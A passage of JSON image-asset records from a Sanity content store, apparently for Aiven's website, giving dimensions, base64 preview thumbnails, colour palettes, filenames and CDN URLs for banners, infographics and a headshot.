+YME491RCpNmj30AUZoGWb5Xx/KvmppEPVEjB1EHQnCRav/fgaLeNNmqknt1C91Ea+th3of6j8SRsvhcowkq5iibhM4I98DFKqmQTSQStTvOW0kOqpJEPVURxPVcOExFS0PF6IBp7DyoobRp1X0HirCOPdgkpbe/8epprrpVIwvXItFNVDdzGk386GPedFPKzBAK9DDfOhlXgxRz/1h++MLCNHM5QhgiGhoogETKholaiq63yFqSn0Phv0X+hNgfABFmnumfAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e3c51","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84043c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e72374","foreground":"#fff","population":0.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d09cb4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f474cc","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a6480","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e72374","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"kafka-connect-banner-image.svg","path":"images/sczeoy4w/production/3d0a56a9bd54a3c7b7ed10fe206f58f72d2732a2-100x100.svg","sha1hash":"3d0a56a9bd54a3c7b7ed10fe206f58f72d2732a2","size":9511,"uploadId":"FKVmOFm9FTI9K9UYbgy2EXDyJZRW3i4D","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d0a56a9bd54a3c7b7ed10fe206f58f72d2732a2-100x100.svg"} {"_createdAt":"2024-06-04T16:49:11Z","_id":"image-3d3c4c9abf78175a11dbe90261953e3ecd6a0fff-1200x628-png","_rev":"5Y6vKnaopt6UOraqDjpwKP","_type":"sanity.imageAsset","_updatedAt":"2024-06-04T16:49:11Z","assetId":"3d3c4c9abf78175a11dbe90261953e3ecd6a0fff","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4A0Iz3t]=v019-$Ox}51Q[-4T4?==%OV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACWklEQVQokS3LzU7aAAAA4L7BkgEtBQrFtvwjBVqK0hbQMpxVLJQ//3BuyiZTULTiIDCVKYLGmSjGxGUHN3dwFy9mS+YD7LJ32sXv/gEqOI1a5u1k0eVfdVPrbmrT6qnq8TUILUPmqhZTdERDTzQgc0WNlJz2VSWeupsJthNyOLgHgMi0J1DihG0+9oEdbfCxVjDcJAa3DMQGYlEQ647B0tDhOxrTigopUq6lM4n/V0Rv8uEprgZoTTN0qBJPNMXk3njy06R8FE90aK7lYVpM5IDmOoRnT4fXNMYVtXHF7VirvUzfL/An6ZwQaj/lceljMn8o5Y6kbG9C7o2MHwoTx1L+QpQvfKEuYquDaBlEK6itFQ715sXTxItLD3MNaNHZoUg1lT/IzHZT010p20ukj6Xc58xcP1u4msz0mcjxgKulw6p6bMvs7LiHfwSE3/7og525BUDjNM2ui6ldMbkvpg4m5I6Y6ibzZ+m5/lTugo+fOKi2xVFnXe8SnldxqjbEfaeFR1/0l4O5BZ7DWcy+6KHfk0zFN7zpHVLI4A7FNgP8PsW1Hf5dxNZ0OzaV4OTPEfI0mpwauQoIj96nDMpmJGO1FnBn0WhZ1qJLEPoWHljV4xt6YktPbMN4g3RUO6zwd8z8LRbLjp7Twh8y8mAL3ABqKEUgstNWsLiLevyNyrCoMixrjCXIVIbMGzCmwHjdZVdKgcw5H93mCgLbJ/l71/Ad4f8CPANltVYGDXnINKcxLqgNr9XIMmgqadGydqAKY4oOr2O2Oju4PuYts96my3dupb4S/muMvPwP6DayYWeXmQoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4574","foreground":"#fff","population":1.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041e76","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d16535","foreground":"#fff","population":8.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b95b9","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3eaf6","foreground":"#000","population":4.8,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#68638b","foreground":"#fff","population":2.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d16535","foreground":"#fff","population":8.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-SQL-optimization-101 no face (1200x628).png","path":"images/sczeoy4w/production/3d3c4c9abf78175a11dbe90261953e3ecd6a0fff-1200x628.png","sha1hash":"3d3c4c9abf78175a11dbe90261953e3ecd6a0fff","size":154700,"uploadId":"3I8IGRe9qnfe7beiSksdiS5KdN0Eshd9","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d3c4c9abf78175a11dbe90261953e3ecd6a0fff-1200x628.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-3d66deab23fa959838d9df935ed3031fc25b4ad0-972x600-png","_rev":"cEPH2uRN58AU2lp9QO7a2r","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:27Z","assetId":"3d66deab23fa959838d9df935ed3031fc25b4ad0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTP%O:}q%jGbyC?INGRhxGjJ.9I[aI#RVtInxaxbNFWT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.62,"height":600,"width":972},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACfklEQVQokT2Sy2sTURTG839Ut+4iCkLdFAXd+AdowZ1URQS1XSiotUUXrSBiH2pqW4oiKrVWtA9JaiipNq1JrbVNYl6mTZzJzJ3Xfd87mWSjk0rh4yw+zg8+zncCzG1AKnULVQ1HBbaim4puqsCqAtt3dEtpSgX23g6wMWIucxsB5jYcIjQTVg1HMxxNN6uaXtVBFZia6TtVYKtN6RbSLaQZDrAxJJLIug9jXrMxtwlH0ELba2jrA0rPQ/UXxBgS4RDu+FPYWBiIA8gtLBBzifB8mMo6ER6RHrN3+MpD8eaUeNfOUlOMOFTWqawzt4G4l9VZJGPNpYzvFWzSGpWNAOY1xGuQCMgk1nM80iWG9ovRgzQRMi1l2zFyprLjgIqNpze0jlep9omfw7FyyWRU1gMmpDbmkPAmnOWRTjG4Tz4Lkm+hjLL1PDXbtzr2Iv0x+ac0Hq8cH0wevh/vns3nNOrDugUtxDBziaxRkBORLjnUIkeDJBGKl+JXY/0n35+7FutbKG2MxyvHBpKHfLiQ1xnzYRNakELCEZNYy/JwlxjaJ0eDePXpUnHpfLT36OSZi9E7nwrJseXyf3gmn9MIFV7Az0wFogIxSfQsD3fKgRY5EsSrT2LFpY5oT+vk6QvR7vlCcnS53PYoEeyP35rJZ3dj796TSo9Kjxl5/vmGeHxAjLeS5NjX0vKlxXttU2cvL94N/16fWKmcGF478mClZ66QA4y5zZ732sKWitdfwtkrMHwTZhc21Uxo4+3tLwMjPybXlOJCRu+dyV6fTr9OKGWLUdnseVdEeJAwx1BAJW0oWccGAKGiUU2ppaKh6ggrFk1XrM0dcxtgm8h/T/IXbg5SA0JEKm0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#365c44","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a46404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f48c13","foreground":"#000","population":9.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b9be","foreground":"#000","population":0.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc464","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c9454","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48c13","foreground":"#000","population":9.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3d66deab23fa959838d9df935ed3031fc25b4ad0-972x600.png","path":"images/sczeoy4w/production/3d66deab23fa959838d9df935ed3031fc25b4ad0-972x600.png","sha1hash":"3d66deab23fa959838d9df935ed3031fc25b4ad0","size":11197,"uploadId":"uWimgIa4VKcYyqt8N9siQEJvVf01w8Vj","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d66deab23fa959838d9df935ed3031fc25b4ad0-972x600.png"} {"_createdAt":"2023-11-09T13:07:38Z","_id":"image-3d751e843c77b644112826d961c772d980f60021-1800x668-jpg","_rev":"Egc6c95a4S13BHFMP0Ukbj","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T13:07:38Z","assetId":"3d751e843c77b644112826d961c772d980f60021","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBJuJ:I7008^00_NkY^hs+NG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.694610778443114,"height":668,"width":1800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEEBv/EACAQAAEEAQQDAAAAAAAAAAAAAAIAAQMEBgUHERIhQVH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAgT/xAAbEQACAwADAAAAAAAAAAAAAAAAAgEREgNBUf/aAAwDAQACEQMRAD8Avbd5DQuY3NLkdcDuCZOZdO/hvfK1EJ6EdOLUaNKNycm6GUfDs6Ik4mnWeiWWK0RPaeSRyIAJ/rsiItWV8BuT/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f362f","foreground":"#fff","population":1.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#144079","foreground":"#fff","population":4.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b0b6c5","foreground":"#000","population":5.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b6c5","foreground":"#000","population":5.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c9ce4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#76848e","foreground":"#fff","population":4.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c6ea5","foreground":"#fff","population":2.14,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"idealo-unternehmen-ueber-idealo-2022 (1).jpg","path":"images/sczeoy4w/production/3d751e843c77b644112826d961c772d980f60021-1800x668.jpg","sha1hash":"3d751e843c77b644112826d961c772d980f60021","size":104962,"uploadId":"1IRPvhcYESFH4ecZ3aUsYjTXsuJCsjcw","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d751e843c77b644112826d961c772d980f60021-1800x668.jpg"} {"_createdAt":"2024-07-12T13:08:24Z","_id":"image-3d8c31dcf3545e92adecd2330a7ac23348690745-1200x630-jpg","_rev":"ZgPiUE9lJ1tcRKuFne3tyL","_type":"sanity.imageAsset","_updatedAt":"2024-07-12T13:08:24Z","assetId":"3d8c31dcf3545e92adecd2330a7ac23348690745","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69Z?UEG0f}WEMys-Va09]xBJQwJ$*S#aK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUH/8QAIhAAAgEEAgEFAAAAAAAAAAAAAQIDAAQFERIxExQhIlGx/8QAFgEBAQEAAAAAAAAAAAAAAAAABAUG/8QAGxEAAgIDAQAAAAAAAAAAAAAAAAECMQMRYSL/2gAMAwEAAhEDEQA/AOMY++xqxIstpyYLonXZphjgNwiyY7FLwC/LyL+UnKx9Kg9u/qtbGZK9ggdIrmRUI1oGtRjjJrcL6GTin7rhYulcTMJIREw7UDQFFQl3kPJ2LMeyTRVRUHZ//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2b62","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043088","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ceaba5","foreground":"#000","population":10.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceaba5","foreground":"#000","population":10.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8595e5","foreground":"#000","population":0.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525e8e","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0838a4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_STORE_meta_preview_image_1200x630.jpg","path":"images/sczeoy4w/production/3d8c31dcf3545e92adecd2330a7ac23348690745-1200x630.jpg","sha1hash":"3d8c31dcf3545e92adecd2330a7ac23348690745","size":47873,"uploadId":"SIdcXmxnachN5vs5Hvj52bF0WEmDCj5a","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d8c31dcf3545e92adecd2330a7ac23348690745-1200x630.jpg"} {"_createdAt":"2022-12-12T09:06:02Z","_id":"image-3d8d2101762083c473501b764eddd8cf25aa389e-3336x2018-png","_rev":"Bp455s9rtQ49wRO6vkJVUt","_type":"sanity.imageAsset","_updatedAt":"2022-12-12T09:07:38Z","altText":null,"assetId":"3d8d2101762083c473501b764eddd8cf25aa389e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6531219028741329,"height":2018,"width":3336},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAACR0lEQVQokWWTW2/TQBCF8/9/BS+8IMQLvCIBagsUVBVSaie+xvdd3+04dmwnH1qnoiAejlYzZ31mZ+Z4JcsZIxy4tzvM6EhWn6j2Z+oOqj3U3ZlaxUvukn/G+Zl74ldJPnP9WPHqJuaz3pAU8yL4Ly7i/+fPf3EXfhXnM1frnFcfPG4eSlRcNGfS6vSMcr7gKVZdqDtFcyIvDuRpRV72S7y8cG00XN1JHoyGOBuRxYQvZtz4hB+3iGCDCDT8qL7kxIwoZmQ2IHY2cnOLCIKl6EoRtrVHv89wrJZE9gucYERzJyzHI92+JNNf4Ng2mjtj+ROR6InjBlfTsL9/wDOdpchK5DPWXYr+zsC9kwg5kGRH3HBEd0Y2RoCnvcX79YbNxkFzRuxwIk6PRMmBX1rCt28mupGhtFaRHFl/jrh9/cjjl4hYjqjNh2LADQfMXYNhhximz9YpcYKeUByRhWp7wvQ61tsay++R5YlVKI/c/8y4vgr4+ZATpSNFPZFlB9K8X+apPlTbX+aWD6T5gaJ+Wl45I/JpOZelqMuW36FZDXZwWCqn1UiYdviyJ8rnRTRLe2TSIeIGKVryavpjnfrJl4ttlGpWzUub6sybE242cOvVfDT2fDWPmO4Bbx2yvTbRvzq4W4FIB8r2Ili2l59hEfzbpMrtRXvCyQa+7Freay03+sDW6XHXMQ+fTH5c25h6SpIel+KyUDNtidOOvBr/F1RV1Wt3YsTwe+zwSCjVkkbs3R7DafGigbQ8kdcTXlSiGwGWK0jSjt/eR4M6r77ngAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e3c7c","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1568a4","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#959ebd","foreground":"#000","population":1.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959ebd","foreground":"#000","population":1.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8e95e","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9658b0","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ba1d","foreground":"#000","population":0.95,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"clickhouse-Infographic.png","path":"images/sczeoy4w/production/3d8d2101762083c473501b764eddd8cf25aa389e-3336x2018.png","sha1hash":"3d8d2101762083c473501b764eddd8cf25aa389e","size":389068,"title":"Aiven for ClickHouse in the middle; on the left, Aiven for PostgreSQL and Aiven for Apache Kafka Connect, with an arrow to ClickHouse; on the left, Aiven for Grafana, with an arrow from ClickHouse. Underneath, Logs (arrow from ClickHouse) and Metrics (arrow to ClickHouse).","uploadId":"96CygNYVSFcbIJvHyUkaRBdhf9zBCbHk","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d8d2101762083c473501b764eddd8cf25aa389e-3336x2018.png"} {"_createdAt":"2023-11-23T13:08:29Z","_id":"image-3de20a8383d122fd5bd5dc9b3349448f2ca32fef-1480x790-png","_rev":"BjY9n6joNYFLmv1rs2SO5r","_type":"sanity.imageAsset","_updatedAt":"2023-11-23T13:08:29Z","assetId":"3de20a8383d122fd5bd5dc9b3349448f2ca32fef","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD4.TCxvWARiRitWfPaxayj@kIWAj[ogof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8734177215189873,"height":790,"width":1480},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAACHElEQVQokWWR2W7aQBSGeQF2eakBO2zGOBjC1iY0SCWVqiq5YwtLSIKzQBuFtE2QouR5eterpm8Tv4Zvz1/NNFBKLz79ZzzH/5zFU937TjsfflB9/yfqB7+ofvCE/9h/wu4aK/e0ouSJ6jeUyM1J33pAuvBI6cIDjNIjsuU/pPL32DDn0LJ3/6Aat4hlOLSi5PFLbcgbQ2iZMam6DS1jI2meIW2dwyhcImHaiCRHkLUhhFgfojqAqPYRkDvwia0FtIg97CBrA0pkbaRzl2QUpsiVPyFf/YytN1fYLE2RMMdQ4sywB0kbQNL6CModeIUmN2PqFZpMiRnyxHTuAuXaF+y8u0P9/Ry1xjdU3s5gFidQ9ROEI4dg3YSU7jL2CssKl3iYO0vSrXPUGrfY+3jP2W18RbEyQTxzzB/0Sy1eUUBuI/iqszz7xL+6aJm/GDfGsCpXKG7PUNqZoVidYtM6hZocIhzp8oqYSUBqc9aNfKszFNU+aRmbEuYlpXIT0q0JZawzMiybkuaYIskjktQ+zxPVHoWULvklvghic3tZCodXyLaWyl0g/3qG4vYN8qUJksYJNP0Ymn6CWGqESOIICmfI81nbq1WyeTKYoRtSum48O3aL29dupXbtmnnbVbRDN6R0+N0qYUak6wbkjsv+9QpNrgvYUp79UssRoj0nmho5sdTIkdVDJyi1HJ/QdLxr+MSWw/IZLF58e+H5N256Zrji39pIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31395e","foreground":"#fff","population":0.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":51.77,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":51.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fa6d0","foreground":"#000","population":2.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4dcfc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a6293","foreground":"#fff","population":2.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5665e5","foreground":"#fff","population":5.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Code snippet.png","path":"images/sczeoy4w/production/3de20a8383d122fd5bd5dc9b3349448f2ca32fef-1480x790.png","sha1hash":"3de20a8383d122fd5bd5dc9b3349448f2ca32fef","size":78305,"uploadId":"H0VYmGzzfSxuRRGrJyLlwQ6bQs2hwuK9","url":"https://cdn.sanity.io/images/sczeoy4w/production/3de20a8383d122fd5bd5dc9b3349448f2ca32fef-1480x790.png"} {"_createdAt":"2024-01-05T16:01:05Z","_id":"image-3df6f9073819fccc040eb1eed2fbe56e8120f482-6720x4480-jpg","_rev":"O0EfMG90JIl2OD8UsF2K6v","_type":"sanity.imageAsset","_updatedAt":"2024-01-05T16:01:05Z","assetId":"3df6f9073819fccc040eb1eed2fbe56e8120f482","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VlP}uaNx~B-oM{^*oLI=kCRkNIj[V@RjxY-noeR+n$S3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4480,"width":6720},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBwj/xAAiEAABBAIABwEAAAAAAAAAAAABAgMEEQAFBgcSISIxURT/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBf/EABoRAAIDAQEAAAAAAAAAAAAAAAACAQQSA1H/2gAMAwEAAhEDEQA/ANh4u2D2u0bjkU04VBPVdVeIuW+8k7aDL/aouKYeKUuXfUPmTfMPfy35D2rBCI9eVe1ZDcH7vY8OvqZjSS5Gdd8mljt3P3JsVXdNlWbfNWxPp0YolRvDFTEtZZbUfZSDhgdQOyf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#563a34","foreground":"#fff","population":2.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#431f15","foreground":"#fff","population":4.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5b588","foreground":"#000","population":5.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb3a5","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5b588","foreground":"#000","population":5.86,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af7a60","foreground":"#fff","population":2.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b26b42","foreground":"#fff","population":2.18,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Kelsey_Hightower_Headshot.jpeg","path":"images/sczeoy4w/production/3df6f9073819fccc040eb1eed2fbe56e8120f482-6720x4480.jpg","sha1hash":"3df6f9073819fccc040eb1eed2fbe56e8120f482","size":17503025,"uploadId":"TQqseM4cfQmYST7zR0W5xznKjict5J10","url":"https://cdn.sanity.io/images/sczeoy4w/production/3df6f9073819fccc040eb1eed2fbe56e8120f482-6720x4480.jpg"} {"_createdAt":"2023-06-06T11:21:52Z","_id":"image-3e0ebd88d086dc3a7b4fed4dd5ad89acadcba8f7-1200x630-jpg","_rev":"dsxJlHxlnt5nZt5n1qyJnR","_type":"sanity.imageAsset","_updatedAt":"2023-06-06T11:21:52Z","assetId":"3e0ebd88d086dc3a7b4fed4dd5ad89acadcba8f7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQR[T3{fIqSi,n-nOZe-w]Ne+sI]oes+Ny","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAgQG/8QAIBAAAgEDBQEBAAAAAAAAAAAAAQMCAAQRBRITITEUQf/EABYBAQEBAAAAAAAAAAAAAAAAAAcABP/EACARAAIBBAEFAAAAAAAAAAAAAAEDAgAEERMxIUFhgaH/2gAMAwEAAhEDEQA/AG9p8fDDfx7sd59rVdajptihZYYRMjtiT5mueVTddoi5sgHqgwR7G4ZwaOUuXsG6OY98c0p3yJiBK5dfPFX0975pkXXCJnecGB6x+UVPApYAguMRjwCiptxbmZMQceqwrQ0RAJH2v//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#943404","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c2c04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#965b02","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbd5f","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.12,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"cost-optimisation-lp.jpg","path":"images/sczeoy4w/production/3e0ebd88d086dc3a7b4fed4dd5ad89acadcba8f7-1200x630.jpg","sha1hash":"3e0ebd88d086dc3a7b4fed4dd5ad89acadcba8f7","size":50518,"uploadId":"VlW3VTkj92HzcmErYJPekK6ZfOND7ynu","url":"https://cdn.sanity.io/images/sczeoy4w/production/3e0ebd88d086dc3a7b4fed4dd5ad89acadcba8f7-1200x630.jpg"} {"_createdAt":"2022-06-30T19:56:46Z","_id":"image-3e111ddf644febbeb2d682b03ab1a9d3d0dbe995-750x402-png","_rev":"QRl2cGoCgj0FlAhkRrhbTX","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:09Z","assetId":"3e111ddf644febbeb2d682b03ab1a9d3d0dbe995","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M04_kLtMA9^Sxbo~nhNYt7ofGkrZ^SFpNZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8656716417910448,"height":402,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABj0lEQVQokSWRWXLcMAxEdQpJSayFWBoLtYwt25NKJfe/VoqaT7LwuoHubp1nB/ZalXmZpmVewJIWor6wLUh9fMTzS4/HrLlo0n7qdZXtnLV2XApEapgr07qUZVFiUwhLIWaF1cxzQwYJBGYZcVREkGhnUDfU9BoGYWUy1TCDClMR4TbgBlUmUmEzjbBwY6LODeGW4WGACLRphZtBlMkFVSMRzuCVlmme54lKYaJpmjozvMyh0oRVHWpQKIfgGdff/P3tn5c+tjXfxl993w/DMI5j3/edocE3y0yl8TeszMb6Hde/7c+zfn3a+045/5zGcfgxjuMwDH3fQducijARlaIiDoSZ33yobZbVI2Bg4VK4rEylrMsyTZ0yS/sqr0scq